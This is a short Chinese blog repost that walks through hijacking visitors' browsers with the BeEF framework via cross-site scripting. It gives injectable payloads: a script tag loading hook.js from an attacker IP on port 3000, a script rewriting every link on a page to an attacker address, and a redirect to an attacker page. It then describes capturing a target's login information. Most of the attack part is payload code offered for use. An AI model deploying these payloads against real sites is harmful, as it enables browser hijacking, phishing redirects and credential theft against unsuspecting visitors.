首页 > 其他 > 详细

xss与beef

时间:2020-07-11 12:31:30      阅读:64      评论:0      收藏:0      [点我收藏+]

启动beef和apache

技术分享图片

修改主页,在网页中添加

<script src=‘http://IP:3000/hook.js‘></script>

 

xss漏洞利用

篡改网页a标签中的连接

<script>
window.onload = function(){
var link = document.getElementsByTagName("a");
for(j = 0; j < link.length; j++){
link[j].href = "http://IP";}
}
</script>

跳转到目标网页

<script>window.location=‘http://ip</script>

 

目标登录网页获取信息

技术分享图片

 

xss与beef

原文:https://www.cnblogs.com/f1veseven/p/13282932.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!